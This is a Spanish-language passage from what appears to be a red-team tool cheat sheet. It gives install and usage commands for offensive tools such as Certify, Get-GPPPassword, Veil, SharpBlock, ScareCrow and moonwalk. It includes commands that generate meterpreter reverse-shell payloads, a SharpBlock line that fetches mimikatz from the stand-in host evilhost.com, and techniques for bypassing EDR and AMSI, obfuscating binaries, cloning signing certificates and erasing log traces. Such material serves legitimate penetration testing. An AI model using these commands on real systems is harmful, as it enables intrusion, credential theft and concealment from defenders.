Si desea ejecutar Certify en memoria a través de un envoltorio de PowerShell, primero compile el Certify y codifique en base64 el assembly resultante:```bash
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txt
Certify puede cargarse luego en un script de PowerShell con lo siguiente (donde "aa..." se reemplaza con la cadena de ensamblado de Certify codificada en base64):``` $CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
El método Main() y cualquier argumento pueden entonces invocarse de la siguiente manera:```
[Certify.Program]::Main("find /vulnerable".Split())
Las instrucciones completas de compilación se pueden encontrar here.
Uso:```bash
Certify.exe find /vulnerable
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
Full example walkthrough can be found [here](https://github.com/GhostPack/Certify#example-walkthrough).
### [🔙](#tool-list)[Get-GPPPassword](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1)
Get-GPPPassword es un script de PowerShell que forma parte del kit PowerSploit, diseñado para recuperar contraseñas de cuentas locales que se crean y administran mediante Preferencias de Directiva de Grupo (GPP).
Get-GPPPassword funciona buscando en la carpeta SYSVOL del controlador de dominio cualquier archivo GPP que contenga información de contraseñas. Una vez que encuentra estos archivos, descifra la información de las contraseñas y la muestra al usuario.
**Instalación:**
Siga las [instrucciones de instalación](https://github.com/A-poc/RedTeam-Tools#powersploit) de PowerSploit de esta hoja de herramientas.```bash
powershell.exe -ep bypass
Import-Module PowerSploit
Uso:```bash
Get-GPPPassword
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
### [🔙](#tool-list)[Sherlock](https://github.com/rasta-mouse/Sherlock)
Script de PowerShell para encontrar rápidamente parches de software faltantes para vulnerabilidades de escalada de privilegios locales.
*Soporta:*
- MS10-015 : Modo de usuario al anillo (KiTrap0D)
- MS10-092 : Programador de tareas
- MS13-053 : Desbordamiento del pool del kernel Win32k en NTUserMessageCall
- MS13-081 : Página NULL de Win32k en TrackPopupMenuEx
- MS14-058 : Desreferencia de puntero nulo de Win32k en TrackPopupMenu
- MS15-051 : ClientCopyImage Win32k
- MS15-078 : Desbordamiento de búfer del controlador de fuentes
- MS16-016 : 'mrxdav.sys' WebDAV
- MS16-032 : Manejador de inicio de sesión secundario
- MS16-034 : Controladores en modo kernel de Windows EoP
- MS16-135 : Elevación de privilegios de Win32k
- CVE-2017-7199 : Escalada de privilegios en Nessus Agent 6.6.2 - 6.10.3
**Instalación: (PowerShell)**```bash
# Git install
git clone https://github.com/rasta-mouse/Sherlock
# Load powershell module
Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.ps1
Uso: (PowerShell)```bash
Find-AllVulns
Find-MS14058
*Imagen tomada de https://vk9-sec.com/sherlock-find-missing-windows-patches-for-local-privilege-escalation/*
### [🔙](#tool-list)[Watson](https://github.com/rasta-mouse/Watson)
Watson es una herramienta .NET diseñada para enumerar KBs faltantes y sugerir exploits para vulnerabilidades de escalada de privilegios.
Excelente para identificar parches faltantes y sugerir exploits que podrían usarse para explotar vulnerabilidades conocidas con el fin de obtener privilegios más altos en el sistema.
**Instalación:**
Usando [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Abra el [proyecto Watson .sln](https://github.com/rasta-mouse/Watson), elija "Release" y compile.
**Uso:**```bash
# Run all checks
Watson.exe
Texto de imagen tomado de https://github.com/rasta-mouse/Watson#usage
Una herramienta basada en C# que automatiza el proceso de descubrir y explotar secuestros de DLL en binarios objetivo.
Las rutas secuestradas descubiertas pueden ser armadas, durante un compromiso, para evadir EDR.
Instalación:
Nota: los requisitos i y ii deben colocarse en el propio directorio de ImpulsiveDLLHijacks.exe.
Información de compilación y configuración:
ImpulsiveDLLHijack
Y para las DLL de confirmación:
Configuración: Copia las DLL de confirmación (maldll32 y maldll64) en el directorio de ImpulsiveDLLHijack.exe y luego ejecuta ImpulsiveDLLHijack.exe :))
Instrucciones de instalación de https://github.com/knight0x07/ImpulsiveDLLHijack#2-prerequisites
Uso:```bash
ImpulsiveDLLHijack.exe -h
ImpulsiveDLLHijack.exe -path BINARY_PATH
Ejemplos de uso se pueden encontrar [aquí](https://github.com/knight0x07/ImpulsiveDLLHijack#4-ejemplos).
*Imagen usada de https://github.com/knight0x07/ImpulsiveDLLHijack#4-ejemplos*
### [🔙](#lista-de-herramientas)[ADFSDump](https://github.com/mandiant/ADFSDump)
Una herramienta en C# para volcar todo tipo de elementos útiles desde AD FS.
Creada por Doug Bienstock [@doughsec](https://twitter.com/doughsec) mientras trabajaba en Mandiant FireEye.
Esta herramienta está diseñada para ejecutarse junto con ADFSpoof. ADFSdump generará toda la información necesaria para crear tokens de seguridad usando ADFSpoof.
**Requisitos:**
- ADFSDump debe ejecutarse bajo el contexto de usuario de la cuenta de servicio de AD FS. Puede obtener esta información listando los procesos en el servidor de AD FS o desde la salida del cmdlet Get-ADFSProperties. Solo la cuenta de servicio de AD FS tiene los permisos necesarios para acceder a la base de datos de configuración. Ni siquiera un administrador del dominio (DA) puede acceder a ella.
- ADFSDump asume que el servicio está configurado para usar la Base de Datos Interna de Windows (WID). Aunque sería trivial admitir un servidor SQL externo, esta funcionalidad no existe actualmente.
- ADFSDump debe ejecutarse localmente en un servidor de AD FS, NO en un proxy de aplicación web de AD FS. La WID solo se puede acceder localmente a través de una tubería con nombre (named pipe).
**Instalación: (Compilar)**
ADFSDump fue compilado con .NET 4.5 usando Visual Studio 2017 Community Edition. Simplemente abra el archivo .sln del proyecto, seleccione "Release" y compile.
**Uso: (Banderas)**```bash
# The Active Directory domain to target. Defaults to the current domain.
/domain:
# The Domain Controller to target. Defaults to the current DC.
/server:
# Switch. Toggle to disable outputting the DKM key.
/nokey
# (optional) SQL connection string if ADFS is using remote MS SQL rather than WID.
/database
Blog - Explorando el ataque Golden SAML contra ADFS
Imagen utilizada de https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs
BeRoot Project es una herramienta de post-explotación para verificar configuraciones incorrectas comunes y encontrar una manera de escalar nuestros privilegios.
El objetivo de BeRoot es solo mostrar oportunidades potenciales de escalada de privilegios y no una evaluación de configuración del endpoint.
Este proyecto funciona en Windows, Linux y Mac OS.
Instalación: (Linux)```bash git clone https://github.com/AlessandroZ/BeRoot cd BeRoot/Linux/
**Instalación: (Windows)**
Una versión precompilada de BeRoot se puede encontrar [aquí](https://github.com/AlessandroZ/BeRoot/releases).
**Uso:**```bash
# Run BeRoot
python beroot.py
# Run BeRoot with user password (If you know the password use it, you could get more results)
python beroot.py --password super_strong_password
Further information can be found here for:
Imagen usada de https://github.com/AlessandroZ/BeRoot
Un ofuscador de comandos y scripts de PowerShell compatible con PowerShell v2.0+. Si un endpoint víctima puede ejecutar PowerShell, entonces esta herramienta es excelente para crear scripts muy ofuscados.
Instalación:```bash git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
**Uso:**```bash
./Invoke-Obfuscation
Veil es una herramienta para generar payloads de metasploit que evitan soluciones antivirus comunes.
Se puede usar para generar shellcode ofuscado, consulte el blog oficial de Veil Framework para más información.
Instalación: (Kali)```bash apt -y install veil /usr/share/veil/config/setup.sh --force --silent
**Instalar: (Git)**```bash
sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent
Uso:```bash
./Veil.py -t Ordnance --list-payloads
./Veil.py -t Ordnance --list-encoders
./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
./Veil.py -t Evasion --list-payloads
./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
Los creadores de Veil escribieron una [publicación en el blog](https://www.veil-framework.com/veil-command-line-usage/) que explica más sobre el uso de la línea de comandos de ordnance y evasion.
### [🔙](#tool-list)[SharpBlock](https://github.com/CCob/SharpBlock)
Un método para evadir las DLL de proyección activa de los EDR al evitar la ejecución del punto de entrada.
**Características:**
- Bloquea la ejecución del punto de entrada de las DLL de EDR, lo que impide que se coloquen ganchos de EDR.
- Omisión de AMSI sin parches que es indetectable para los escáneres que buscan parches de código de Amsi.dll en tiempo de ejecución.
- Proceso anfitrión que se reemplaza con un PE de implante que se puede cargar desde disco, HTTP o tubería con nombre (Cobalt Strike).
- El proceso implantado está oculto para ayudar a evadir los escáneres que buscan procesos huecos.
- Los argumentos de la línea de comandos se falsifican e implantan después de la creación del proceso mediante un método sigiloso de detección de EDR.
- Omisión de ETW sin parches.
- Bloquea la invocación de NtProtectVirtualMemory cuando el llamante está dentro del rango del espacio de direcciones de una DLL bloqueada.
**Instalación:**
Utilice [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/) para compilar el binario de SharpBlock.
Abra el [proyecto .sln](https://github.com/CCob/SharpBlock) de SharpBlock, elija "Release" y compile.
**Uso:**```bash
# Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi
Nice PenTestPartners blog post aquí.
Imagen tomada de https://youtu.be/0W9wkamknfM
Alcatraz es un ofuscador de binarios x64 con GUI que puede ofuscar varios archivos PE diferentes, incluyendo:
Algunas características de ofuscación compatibles incluyen:
Instalación: (Requisitos)
Instalar: https://vcpkg.io/en/getting-started.html```bash vcpkg.exe install asmjit:x64-windows vcpkg.exe install zydis:x64-windows
**Uso:**
Usando la GUI para ofuscar un binario:
1. Carga un binario haciendo clic en `file` en la esquina superior izquierda.
2. Añade funciones expandiendo el árbol `Functions`. (Puedes buscar poniendo el nombre en la barra de búsqueda en la parte superior)
3. Presiona `compile` (**Nota:** *Ofuscar muchas funciones puede tomar algunos segundos*)
*Imagen usada de https://github.com/weak1337/Alcatraz*
### [🔙](#tool-list)[Mangle](https://github.com/optiv/Mangle)
Mangle es una herramienta que manipula aspectos de ejecutables compilados (.exe o DLL).
Mangle puede eliminar cadenas basadas en Indicadores de Compromiso (IoC) conocidos y reemplazarlas con caracteres aleatorios, cambiar el archivo inflando el tamaño para evitar EDRs, y puede clonar certificados de firma de código de archivos legítimos.
Al hacerlo, Mangle ayuda a los loaders a evadir escáneres en disco y en memoria.
**Instalación:**
El primer paso, como siempre, es clonar el repositorio. Antes de compilar Mangle, necesitarás instalar las dependencias. Para instalarlas, ejecuta los siguientes comandos:```
go get github.com/Binject/debug/pe
Luego, constrúyelo``` git clone https://github.com/optiv/Mangle cd Mangle go build Mangle.go
**Uso:**```bash
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by
La información completa de uso se puede encontrar aquí.
Imagen utilizada de https://github.com/optiv/Mangle
AMSI.fail es un excelente sitio web que se puede usar para generar fragmentos de PowerShell ofuscados que rompen o deshabilitan AMSI para el proceso actual.
Los fragmentos se seleccionan aleatoriamente de un pequeño conjunto de técnicas/variaciones antes de ser ofuscados. Cada fragmento se ofusca en tiempo de ejecución/solicitud para que ninguna salida generada comparta las mismas firmas.
Excelente blog de f-secure explicando AMSI aquí.
Imagen utilizada de http://amsi.fail/
ScareCrow es un framework de creación de payloads para carga lateral (no inyección) en un proceso legítimo de Windows (evadiendo controles de listas blancas de aplicaciones).
Una vez que el cargador de DLL se carga en memoria, utiliza una técnica para eliminar el hook de un EDR de las DLL del sistema que se ejecutan en la memoria del proceso.
Cuando se ejecuta, ScareCrow copia los bytes de las DLL del sistema almacenadas en disco en C:\Windows\System32\. Estas DLL se almacenan en disco “limpias” de hooks de EDR porque son utilizadas por el sistema para cargar una copia sin alteraciones en un nuevo proceso cuando se genera. Dado que los EDR solo enganchan estos procesos en memoria, permanecen sin alteraciones.
Excelentes blogs para aprender sobre las técnicas utilizadas por ScareCrow:
Instalación:
ScareCrow requiere golang 1.16.1 o posterior para compilar los loaders.```bash
git clone https://github.com/optiv/ScareCrow cd ScareCrow
go get github.com/fatih/color go get github.com/yeka/zip go get github.com/josephspurrier/goversioninfo
openssl osslsigncode mingw-w64
go build ScareCrow.go
**Uso:**```
Usage of ./ScareCrow:
-I string
Path to the raw 64-bit shellcode.
-Loader string
Sets the type of process that will sideload the malicious payload:
[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading)
[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated.
[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions.
[*] excel - Loads into a hidden Excel process using a JScript loader.
[*] msiexec - Loads into MSIexec process using a JScript loader.
[*] wscript - Loads into WScript process using a JScript loader. (default "binary")
-O string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.
-configfile string
The path to a json based configuration file to generate custom file attributes. This will not use the default ones.
-console
Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
...
La información de uso completo se puede encontrar aquí.
Imagen tomada de https://github.com/optiv/ScareCrow
moonwalk es un ejecutivo único de 400 KB que puede borrar tus rastros mientras realizas pruebas de penetración en una máquina Unix.
Guarda el estado de los registros del sistema antes de la explotación y revierte ese estado, incluyendo las marcas de tiempo del sistema de archivos después de la explotación, dejando cero rastros de un fantasma en el shell.
Instalación:```bash curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk